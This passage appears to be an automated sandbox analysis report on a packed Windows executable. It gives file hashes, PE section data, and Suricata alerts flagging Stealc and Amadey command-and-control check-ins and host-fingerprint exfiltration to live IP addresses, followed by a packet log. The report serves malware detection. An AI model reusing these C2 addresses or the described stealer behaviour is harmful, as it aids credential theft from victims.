focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9454368693166915
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'834'496 bytes
MD5:	59b3273d9d5c8f80b5cfe9e160188073
SHA1:	3dfe989cba1316ed1a4e82b8bf9e73301749e559
SHA256:	101e5dd7863cc4cc10c084d7468f2bd81a77323f9fb49b4b5ebd6077a5552ba8
SHA512:	7a5b0b3e6f368a8e34abbb9059d0399937373eccac17de9cbd9e911833ed48d369e97fc3fbf02ba73d66661a2b50926f0630f9923f679f771ca968506da1b128
SSDEEP:	49152:Lgjet/+yQPNYcLHgMwIG22eu+qt/zyxFrjflFy90Uu:LWEmyQRHg7Il2+k/uT7lFyt
TLSH:	F08533EE9E1439B5DEADDC3A06A5DF4E21A4F0D682E244F6C90DF059BC2363224319B5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2E40BBB2BAh
paddusb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	d1b942967dab5ccfe738d4b71cac258a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b5000	0x200	760e2632eb795dc7e1cb284b88bba054	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mmgyxokd	0x501000	0x1a7000	0x1a6200	28664b8d0c18cf4807aa158a32fd29eb	False	0.9948913375407166	data	7.954300536136823	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ujjtsjxw	0x6a8000	0x1000	0x400	501d0203d8307d373f7afcefb2d74532	False	0.7646484375	data	6.063132614064478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a9000	0x3000	0x2200	9bc0821dcccd8471243794c2fc72bc41	False	0.05801930147058824	DOS executable (COM)	0.8056418369473823	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T04:16:05.617045+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T04:16:05.902960+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T04:16:05.909156+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-12T04:16:06.189665+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T04:16:06.196626+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-12T04:16:07.331843+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T04:16:07.856863+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T04:16:25.619758+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.5	49732	TCP
2024-11-12T04:16:28.142645+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:29.378902+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:29.968768+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:30.726176+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:32.132806+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:32.612098+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:37.369879+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49898	185.215.113.16	80	TCP
2024-11-12T04:17:05.156147+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50067	185.215.113.43	80	TCP
2024-11-12T04:17:05.244017+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.5	50064	TCP
2024-11-12T04:17:08.506990+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50089	185.215.113.16	80	TCP
2024-11-12T04:17:15.805039+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50082	TCP
2024-11-12T04:17:16.706292+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50118	185.215.113.206	80	TCP
2024-11-12T04:17:16.716434+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50119	185.215.113.43	80	TCP
2024-11-12T04:17:20.796545+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50121	185.215.113.43	80	TCP
2024-11-12T04:17:21.714673+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50122	185.215.113.16	80	TCP
2024-11-12T04:17:30.729219+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50132	185.215.113.206	80	TCP
2024-11-12T04:17:30.846221+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50133	185.215.113.43	80	TCP
2024-11-12T04:17:37.290607+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50136	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 04:15:58.815267086 CET	49675	443	192.168.2.5	23.1.237.91
Nov 12, 2024 04:15:58.815268040 CET	49674	443	192.168.2.5	23.1.237.91
Nov 12, 2024 04:15:58.924524069 CET	49673	443	192.168.2.5	23.1.237.91
Nov 12, 2024 04:16:04.382478952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:04.387391090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:04.387478113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:04.387649059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:04.392553091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:05.318238020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:05.318303108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:05.322010994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:05.326925993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:05.616969109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:05.617044926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:05.618165970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:05.623323917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:05.902883053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:05.902901888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:05.902960062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:05.904261112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:05.909156084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189590931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189615965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189625978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189637899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189650059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189665079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.189683914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189691067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.189697027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189730883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.189733028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.189754963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.189771891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.190119982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.190161943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.191776991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.196625948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.477780104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.477849960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.527801991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.527859926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:06.532665968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.532677889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.532694101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.532704115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.532850981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.532860041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:06.532978058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.331769943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.331842899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:07.574503899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:07.579389095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.856812954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.856829882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.856844902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.856858015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.856863022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:07.856868982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.856883049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.856888056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:07.856920958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:07.857477903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.857490063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.857501030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.857517004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.857527971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:07.857530117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.857541084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:07.857579947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:07.858282089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.858294010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:07.858334064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.010390997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010431051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010442972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010453939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010459900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010471106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010478020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010493040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.010531902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010551929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.010571957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.010657072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010668039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010678053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010690928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.010710001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.010723114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.010751009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.011279106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.011295080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.011306047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.011339903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.011341095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.011341095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.011353970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.011354923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.011398077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.011408091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.012106895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.012118101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.012129068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.012154102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.012164116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.012176991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.012186050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.012208939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.012959957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.012970924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.012995005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.013032913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.133156061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.133302927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:08.162867069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:08.162909031 CET	80	49704	185.215.113.206	192.168.2.5
